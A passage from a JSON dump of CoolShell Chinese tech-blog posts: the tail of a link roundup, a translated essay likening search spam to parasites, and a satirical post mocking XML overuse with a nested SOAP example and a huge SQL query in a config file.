Framework不同，Mono项目不仅可以运行于Windows系统上，还可以运行于Linux，FreeBSD，Unix，Mac OS X和Solaris。这个项目叫MonoDroid。</li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://monodroid.net/\"><img alt=\"\" class=\"alignnone\" height=\"300\" src=\"http://tirania.org/images/mono-android.png\" title=\"http://monodroid.net/\" width=\"188\"/></a></p>\n<p style=\"text-align: center;\"> </p>\n<ul>\n<li>最后来一个给力的教程吧，这是一个关于教你如何制作一个<a href=\"http://daid.mine.nu/instructabliss/?url=http://www.instructables.com/id/Led-Cube-8x8x8/\" target=\"_blank\">3D的LED显示的教程</a>，相当的详细，甚至教你如何上ebay采购相关的电子元件和设备，还有如何编程，有兴趣的朋友可以一读。</li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://daid.mine.nu/instructabliss/?url=http://www.instructables.com/id/Led-Cube-8x8x8/\"><img alt=\"Led Cube 8x8x8\" height=\"375\" src=\"http://www.instructables.com/image/FUXO1RWGICYBAOS/Led-Cube-8x8x8.jpg\" width=\"500\"/></a></p>\n<p style=\"text-align: center;\"> </p>\n<p style=\"text-align: left;\">这回就这么多，希望你喜欢。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3480.html\">一些有意思的网站和贴子</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-19 Google 需要性爱.html",
    "content": "<html><body><p>看到一篇趣文<a href=\"http://krugman.blogs.nytimes.com/2011/01/10/google-needs-sex/\" target=\"_blank\">Google Needs Sex</a>，翻译过来。</p>\n<p>Brad DeLong 给我们写了 <a href=\"http://delong.typepad.com/sdj/2011/01/trouble-in-the-house-of-google.html\">两篇关于“Google遇到的麻烦”的文章</a>(墙)，这两篇文章基本上是说， 制造网络欺诈和网络垃圾信息的人会尽其一切努力来和搜索引擎进行博弈，这样一来，其会让搜索到的结果对我们越来越没有帮助（译注：百度的竞价排名成为了制造网络欺诈和网络垃圾信息甚至洗脑的温床）。于是，人们开始去使用其它一些影响地较少的搜索引擎，准确的说，是那些垃圾信息和欺诈信息的东西还不适应于这些搜索引擎。</p>\n<p>这让我想到了Sex。</p>\n<p>如果你查看一下进化论，你就会知道为什么有性繁殖是有进化性的，是有可持续性的，而进化也是需要巨大的成本的。</p>\n<p>为什么自然界不用克隆来繁殖呢？我所理解的最有说服力的答案是—— <a href=\"http://www.sciencedaily.com/releases/2009/07/090706171542.htm\">防御寄生生物</a>。如果每一代的生物体都和上一代完全的一样，寄生生物就总有一天可以破解生物体的防御，就是为什么！如果我们的某个香蕉园里种植着“克隆香焦” ，那么一旦某种病菌传播开来，那么我们整个香蕉园里的全部香蕉将毁于一旦。所以，混杂基因的模式会让寄生生物或病毒更难破坏我们的防御。</p>\n<p>因此，Google的这些欺诈信息和垃圾信息就像是寄生在人体上的寄生体一样，它们已经非常适应Google的搜索引擎。（译注：百度上的寄生体则像是百度自己养的宠物）</p>\n<p>我不知道“搜索引擎的性爱”会是什么样的，但是很明显，Google需要一些。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3510.html\">Google 需要性爱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-19 信XML，得自信.html",
    "content": "<html><body><p>XML可能是计算有史以来最NB的发明了，以至于我们以没有XML的程序是难登大堂的程序，不用XML，你都不好意思当程序员。于是，我们看到了<a href=\"https://coolshell.cn/articles/2504.html\" target=\"_blank\">很多很雷人的用法</a>（《信XML，得永生》），当然一些朋友当时并没有看懂，不过我不怪大家，因为我们依然深信使用XML可以让你有强大的Zhuangbility，于是我们有下面这两种相当Geiliable的用法。</p>\n<h4>一、XML中的XML</h4>\n<p>这个例子是某公司的一个SOAP实现——我们的Webservice需要返回一个XML字符串，这怎么办呢？其实很容易，因为——XML是无所不能的，那怕是封装自己。</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;!-- ED: soap envelope omitted for readability --&gt;\n&lt;string xmlns=\"urn:Initech.Global.Services\"&gt;\n  &amp;lt;CompanyGetConnector&amp;gt;\n    &amp;lt;xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\"&amp;gt;\n      &amp;lt;xs:element name=\"InitechGetConnector\"&amp;gt;\n        &amp;lt;xs:complexType&amp;gt;\n          &amp;lt;xs:choice maxOccurs=\"unbounded\"&amp;gt;\n            &amp;lt;xs:element name=\"employees\"&amp;gt;\n              &amp;lt;xs:complexType&amp;gt;\n                &amp;lt;xs:sequence&amp;gt;\n                  &amp;lt;xs:element name=\"EmployerName\" type=\"xs:string\" minOccurs=\"0\"/&amp;gt;\n                  &amp;lt;xs:element name=\"Employee\" type=\"xs:string\" minOccurs=\"0\"/&amp;gt;\n                  &amp;lt;xs:element name=\"Firstname\" type=\"xs:string\" minOccurs=\"0\"/&amp;gt;\n                  &amp;lt;xs:element name=\"Prefix\" type=\"xs:string\" minOccurs=\"0\"/&amp;gt;\n                  &amp;lt;xs:element name=\"Lastname\" type=\"xs:string\" minOccurs=\"0\"/&amp;gt;\n                  &amp;lt;xs:element name=\"Org._unit\" type=\"xs:string\" minOccurs=\"0\"/&amp;gt;\n                  &amp;lt;xs:element name=\"Function\" type=\"xs:string\" minOccurs=\"0\"/&amp;gt;\n                  &amp;lt;xs:element name=\"E-mail_work\" type=\"xs:string\" minOccurs=\"0\"/&amp;gt;\n                  &amp;lt;xs:element name=\"Telephone_work\" type=\"xs:string\" minOccurs=\"0\"/&amp;gt;\n                  &amp;lt;xs:element name=\"Mobile_work\" type=\"xs:string\" minOccurs=\"0\"/&amp;gt;\n                  &amp;lt;xs:element name=\"Birthdate\" type=\"xs:date\" minOccurs=\"0\"/&amp;gt;\n                  &amp;lt;xs:element name=\"Hired_since__irt._yearsemployed_\" type=\"xs:date\" minOccurs=\"0\"/&amp;gt;\n                  &amp;lt;xs:element name=\"Image\" type=\"xs:base64Binary\" minOccurs=\"0\"/&amp;gt;\n                &amp;lt;/xs:sequence&amp;gt;\n              &amp;lt;/xs:complexType&amp;gt;\n            &amp;lt;/xs:element&amp;gt;\n          &amp;lt;/xs:choice&amp;gt;\n        &amp;lt;/xs:complexType&amp;gt;\n      &amp;lt;/xs:element&amp;gt;\n    &amp;lt;/xs:schema&amp;gt;\n\n    &amp;lt;employees&amp;gt;\n      &amp;lt;EmployerName&amp;gt;\n        My Client\n      &amp;lt;/EmployerName&amp;gt;\n      &amp;lt;Employee&amp;gt;\n        100001\n      &amp;lt;/Employee&amp;gt;\n    &amp;lt;/employees&amp;gt;\n  &amp;lt;/CompanyGetConnector&amp;gt;\n&lt;/string&gt;\n</pre>\n<p><span id=\"more-3498\"></span></p>\n<h4>二、一切皆为配置</h4>\n<p>没有hard code这是一个优秀程序员在入门时就要学习的，对于Hard Coder的东西最好写在配置文件中，这样修改这些参数就不需要修改代码而需要重新编译了。自从有了XML之后，我们的配置文件就不在使用像ini文件或是Unix下在conf文件那样的易读，我们认为，使用XML作为配置文件的格式是大势所趋，而且，我们要让我们的代码尽量的可以高度的配置，于是我们出现了下面的代码——这是一个强大的尝试，其标志着，我们完全可以以不久的未来用XML来编写一切语言的代码。</p>\n<p>注：下面的代码最强大的应该是XML中的那个SQL。</p>\n<pre class=\"EnlighterJSRAW\">&lt;add key=\"sqlSource\" value=\"\n    SELECT TOP REPLACE_NUMBER_OF_ROWS_TO_RETRIEVE\n           History.handle AS ID_FAX_LOG,\n           CASE isnumeric(SUBSTRING (Notes_Doc.Text ,1,8))\n              WHEN 1 then SUBSTRING (Notes_Doc.Text ,1,8)\n              ELSE NULL END AS ID_STAGE,\n           DocumentUsers.UserName AS NM_DOCUMENTUSER_USERNAME,\n           DocumentUsers.UserID AS TXT_DOCUMENTUSER_USERID,\n           DocumentUserGroups.GroupID AS TXT_DOCUMENTUSERGROUP_GROUPID,\n           Documents.UniqueID AS TXT_DOCUMENTS_UNIQUE_ID,\n           History.TRDateTime AS DT_HISTORY_TRANSACTION_DATE,\n           CASE COALESCE(HistoryPrint.handle,0)\n              WHEN 0 THEN\n                 CASE COALESCE(HistoryGeneric.handle,0)\n                    WHEN 0 THEN\n                       CASE COALESCE(HistoryTRX.handle,0)\n                          WHEN 0 THEN '??'\n                          ELSE\n                             CASE (Documents.Flags &amp; 0x10)\n                                WHEN 0 THEN 'Send'\n                                ELSE 'Recieve'\n                                END\n                          END\n                    ELSE CAST(HistoryGeneric_Short.Data AS varchar(32))\n                    END\n              ELSE 'Print'\n              END AS TXT_TRANSACTION_TYPE,\n\n           CASE COALESCE(HistoryPrint.handle,0)\n              WHEN 0 THEN\n                 CASE COALESCE(HistoryGeneric.handle,0)\n                    WHEN 0 THEN\n                       CASE COALESCE(HistoryTRX.handle,0)\n                          WHEN 0 THEN '??'\n                          ELSE\n                             CASE Documents_Term.TermStatStr\n                                WHEN 'Success' THEN 'Success'\n                                ELSE 'Fail'\n                                END\n                          END\n                    ELSE\n                       CASE HistoryGeneric.ErrCode\n                          WHEN 0 THEN 'Success'\n                       ELSE 'Fail'\n                       END\n                    END\n              ELSE\n                 CASE SUBSTRING(HistoryPrint.Msg,1,7)\n                    WHEN 'Success' THEN 'Success'\n                    ELSE 'Fail'\n                    END\n              END AS TXT_TRANSACTION_STATUS,\n\n           CASE COALESCE(HistoryPrint.handle,0)\n              WHEN 0 THEN\n                 CASE COALESCE(HistoryGeneric.handle,0)\n                    WHEN 0 THEN\n                       CASE COALESCE(HistoryTRX.handle,0)\n                          WHEN 0 THEN '??'\n                          ELSE COALESCE(HistoryTRX_Term.TermStatStr,CONVERT(varchar,Documents.TermStat))\n                          END\n                    ELSE REPLACE(REPLACE(CAST(HistoryGeneric_Detail.Data AS varchar(192)) ,'\\t',''), '~u', HistoryGeneric.UserID )\n                    END\n              ELSE HistoryPrint.Msg\n              END AS TXT_TRANSACTION_MESSAGE,\n\n           CASE COALESCE(HistoryPrint.handle,0)\n              WHEN 0 THEN\n                 CASE COALESCE(HistoryGeneric.handle,0)\n                    WHEN 0 THEN\n                       CASE COALESCE(HistoryTRX.handle,0)\n                          WHEN 0 THEN Documents.ElapsedSendTime\n                          ELSE\n                             CASE COALESCE(HistoryTRX.handle,0)\n                                WHEN 0 THEN Documents.ElapsedSendTime\n                                ELSE HistoryTRX.ElapsedTime\n                                END\n                          END\n                    ELSE NULL\n                    END\n              ELSE HistoryPrint.TimeToPrint\n              END AS NBR_TRANSACTION_ELAPSEDTIME,\n\n           CASE COALESCE(HistoryGeneric.handle,0)\n              WHEN 0 THEN\n                 CASE substring(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE\n                               (REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(\n                                  Documents.Destination,' ',''),')',''),'(',''),\n                                  '-',''),'/',''),'.',''),'*',''),',',''),';',''),\n                                  '\\',''),'-',''),1,1)\n                    WHEN '1' THEN substring(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(\n                                            REPLACE(REPLACE(REPLACE( REPLACE(REPLACE(\n                                            REPLACE(Documents.Destination,' ',''),')',\n                                            ''),'(',''),'-',''),'/',''),'.',''),'*',''),\n                                            ',',''),';',''),'\\',''),'-',''), 2, len(\n                                            REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(\n                                            REPLACE(REPLACE(REPLACE( REPLACE(REPLACE(\n                                            REPLACE(Documents.Destination,' ',''),')',\n                                            ''),'(',''),'-',''),'/',''),'.',''),'*','')\n                                            ,',',''),';',''),'\\',''),'-','')) )\n                    ELSE REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(\n                         REPLACE(REPLACE(REPLACE(Documents.Destination,' ',''),'-',''),')',\n                         ''),'(',''),'/',''),'.',''),'*',''),',',''),';',''),'\\',''),'-','')\n                    END\n              ELSE HistoryGeneric.UserID\n              END AS TXT_TRANSACTION_DESTINATION,\n\n           CASE (Documents.Flags &amp; 0x8)\n              WHEN 0 THEN 'N'\n              ELSE 'Y' END AS NBR_DOCUMENTS_DELETED,\n\n           CASE (Documents.Flags &amp; 0x4)\n              WHEN 0 THEN 'N'\n              ELSE 'Y' END AS NBR_DOCUMENTS_VIEWED,\n\n           /* Fax Destination */\n           Documents.ToName AS TXT_DOCUMENTS_TO_NAME,\n           Documents.ToContactNum AS TXT_DOCUMENTS_TO_CONTACT_NUM,\n           Documents.ToCompany AS TXT_DOCUMENTS_TO_COMPANY,\n           Documents.ToCityState AS TXT_DOCUMENTS_TO_CITY_STATE,\n           Documents.FaxDIDNum AS TXT_DOCUMENTS_FAX_DID_NUM,\n           Documents.FromPhoneNum AS TXT_DOCUMENTS_FROM_PHONE_NUM,\n           Documents.GeneralFaxNum AS TXT_DOCUMENTS_GENERAL_FAX_NUM,\n           HistoryPrint.NetPrintID AS TXT_HISTORYPRINT_NETPRINTID,\n\n           /* Number of pages */\n           DocFiles.NumPages AS NBR_DOCFILES_TOTAL_PAGE_COUNT,\n           HistoryTRX.GoodPageCount AS NBR_HISTORYTRX_GOOD_PAGE_COUNT,\n           HistoryTRX.BadPageCount AS NBR_HISTORYTRX_BAD_PAGE_COUNT,\n           HistoryPrint.PagesPrinted AS NBR_HISTORYPRINT_PAGESPRINTED,\n           HistoryPrint.CopiesPrinted AS NBR_HISTORYPRINT_COPIESPRINTED,\n           /* location of fax image */ DTConfigurations.ServerName AS TXT_DOCFILES_SERVER_NAME,\n           DTConfigurations.ImageDir AS TXT_DOCFILES_IMAGE_DIR,\n           DocFiles.BodyFilename AS TXT_DOCFILES_BODY_FILENAME,\n           Documents.FCSFile AS TXT_DOCFILES_FCS_FILE,\n           REPLACE( DTConfigurations.ImageDir, 'D:\\Data', '\\\\'+ServerName )\n              + '\\'+DocFiles.BodyFilename+'*' AS TXT_DOCFILES_PATH_BODY_NAME,\n           REPLACE( DTConfigurations.ImageDir, 'D:\\Data', '\\\\'+ServerName )\n              + '\\'+Documents.FCSFile+'*' AS TXT_DOCUMENTS_PATH_FCSFILE,\n           Notes_Doc.Text AS TXT_NOTES_DOC_TEXT,\n           Notes_CCList.Text AS TXT_NOTES_CCLIST_TEXT,\n           DocumentUsers.RouteInfo AS TXT_DOCUMENTUSER_ROUTEINFO,\n           DocumentUsers.RouteType AS NBR_DOCUMENTUSER_ROUTETYPE,\n           DocumentUsers.EmailAddr AS TXT_DOCUMENTUSER_EMAILADDR,\n\n           /* misc Documents data */\n           Documents.CreationTime AS DT_DOCUMENTS_CREATION_TIME,\n           Documents.FRFlags2 AS NBR_DOCUMENTS_FRFLAGS2,\n           Documents.Flags AS NBR_DOCUMENTS_FLAGS,\n           Documents.ErrorCode AS NBR_DOCUMENTS_ERROR_CODE,\n           Documents.TermStat AS NBR_DOCUMENTS_TERMSTAT,\n\n           /* misc HistoryTRX data */\n           HistoryTRX.RemoteID AS TXT_HISTORYTRX_REMOTE_ID,\n           HistoryTRX.RemoteServer AS TXT_HISTORYTRX_REMOTE_SERVER,\n           HistoryTRX.Flags AS NBR_HISTORYTRX_FLAGS,\n           HistoryTRX.TermStat AS NBR_HISTORYTRX_TERMSTAT,\n\n           /* misc HistoryTRX data */\n           HistoryGeneric.ErrCode AS NBR_HISTORYGENERIC_ERRCODE,\n           HistoryGeneric.GenType AS NBR_HISTORYGENERIC_GENTYPE,\n           HistoryGeneric.UserID AS TXT_HISTORYGENERIC_USERID,\n\n           /* Handles */ Documents.handle AS ID_DOCUMENTS_HANDLE,\n           History.handle AS ID_HISTORY_HANDLE,\n           HistoryTRX.handle AS ID_HISTORYTRX_HANDLE,\n           HistoryGeneric.handle AS ID_HISTORYGENERIC_HANDLE,\n           HistoryPrint.handle AS ID_HISTORYPRINT_HANDLE\n\n    FROM Documents\n            INNER JOIN Users DocumentUsers ON Documents.OwnerID = DocumentUsers.handle\n            INNER JOIN History ON Documents.handle = History.Owner\n            LEFT OUTER JOIN DocFiles ON Documents.DocFileDBA = DocFiles.handle\n            LEFT OUTER JOIN Groups DocumentUserGroups ON DocumentUsers.GroupID = DocumentUserGroups.handle\n            LEFT OUTER JOIN HistoryPrint ON HistoryPrint.handle = History.handle\n            LEFT OUTER JOIN HistoryGeneric ON HistoryGeneric.handle = History.handle\n            LEFT OUTER JOIN Notes Notes_Doc ON Notes_Doc.handle = Documents.NoteDBA\n            LEFT OUTER JOIN Notes Notes_CCList ON Notes_CCList.handle = Documents.CCListDBA\n            LEFT OUTER join DTConfigurations ON DTConfigurations.ServerGUID = Documents.ServerGUID\n            LEFT OUTER JOIN Globalization HistoryGeneric_Detail ON\n               HistoryGeneric_Detail.Namespace = 'RightFax.SQL.HistoryGeneric'\n               AND SUBSTRING(HistoryGeneric_Detail.LocKey,5,20) = 'DetailMsg'\n               AND SUBSTRING(HistoryGeneric_Detail.LocKey,1,3) = CAST(HistoryGeneric.GenType AS varchar)\n               AND HistoryGeneric_Detail.IsoLanguageName = 'en-us'\n            LEFT OUTER JOIN Globalization HistoryGeneric_Short ON\n               HistoryGeneric_Short.Namespace = 'RightFax.SQL.HistoryGeneric'\n               AND SUBSTRING(HistoryGeneric_Short.LocKey,5, 20) = 'ShortMsg'\n               AND SUBSTRING(HistoryGeneric_Short.LocKey,1, 3) = CAST(HistoryGeneric.GenType AS varchar)\n               AND HistoryGeneric_Short.IsoLanguageName = 'en-us'\n            LEFT OUTER JOIN HistoryTRX ON HistoryTRX.handle = History.handle\n            LEFT OUTER JOIN (\n               SELECT distinct CONVERT(varchar,G.Data) AS TermStatStr,\n                      T.StatusCode AS TermStatCode,\n                      T.handle AS TermStat\n                 FROM Globalization G\n                         INNER JOIN TermStatToStatusCode T ON\n                            ( G.LocKey = 'HistoryTRX.BTHUSTAT'\n                                 + RIGHT('0000'\n                                 + LTRIM(RTRIM(CONVERT(char(3),T.StatusCode))), 3)\n                              AND G.IsoLanguageName = 'en-us'\n                              AND G.LocKey like 'HistoryTRX.BTHUSTAT%' )\n                  ) AS HistoryTRX_Term ON HistoryTRX.TermStat = HistoryTRX_Term.TermStat\n            LEFT OUTER JOIN (\n               SELECT distinct CONVERT(varchar,G.Data) AS TermStatStr,\n                      T.StatusCode AS TermStatCode,\n                      T.handle AS TermStat\n                 FROM Globalization G\n                         INNER JOIN TermStatToStatusCode T ON\n                            ( G.LocKey = 'HistoryTRX.BTHUSTAT'\n                                 + RIGHT('0000'\n                                 + LTRIM(RTRIM(CONVERT(char(3),T.StatusCode))), 3)\n                              AND G.IsoLanguageName = 'en-us'\n                              AND G.LocKey like 'HistoryTRX.BTHUSTAT%' )\n                  ) AS Documents_Term ON Documents.TermStat = Documents_Term.TermStat\n    WHERE\n       NOT (\n          /* The outer join on the HistoryPrint, HistoryGeneric, and HistoryTRX results in\n           * rows that just have null history data. One of the three must have a value. If\n           * all are null, the row is a result of the outer joins and the rows have no useable data so they\n           * filtered out. */\n          HistoryTRX.handle IS NULL\n             AND HistoryGeneric.handle IS NULL\n             AND HistoryPrint.handle IS NULL )\n       AND DocumentUsers.UserName IS NOT NULL\n\n       /* THIS VALUE is inserted into a NON NULL column in the FAX_LOG table. */\n       AND DocumentUsers.UserID IS NOT NULL\n\n       /* THIS VALUE is inserted into a NON NULL column in the FAX_LOG table. */\n       AND Documents.UniqueID IS NOT NULL\n\n       /* THIS VALUE is inserted into a NON NULL column in the FAX_LOG table. */\n       AND History.TRDateTime &gt; 'REPLACE_WHERE_CLAUSE_CRITERIA'\n   ORDER BY History.TRDateTime\"\n/&gt; </pre>\n<p>来源：<a href=\"http://thedailywtf.com/Articles/All-In-The-Config.aspx\" target=\"_blank\">文章一</a>，<a href=\"http://thedailywtf.com/Articles/XMLd-XML.aspx\" target=\"_blank\">文章二</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4905.html\"><img alt=\"语言的数据亲和力\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4905.html\">语言的数据亲和力</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3609.html\"><img alt=\"那些炒作过度的技术和概念\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3609.html\">那些炒作过度的技术和概念</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3585.html\"><img alt=\"SOAP的S是Simple\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3585.html\">SOAP的S是Simple</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2504.html\"><img alt=\"信XML，得永生！\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2504.html\">信XML，得永生！</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3498.html\">信XML，得自信</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-20 JS游戏引擎列表.html",
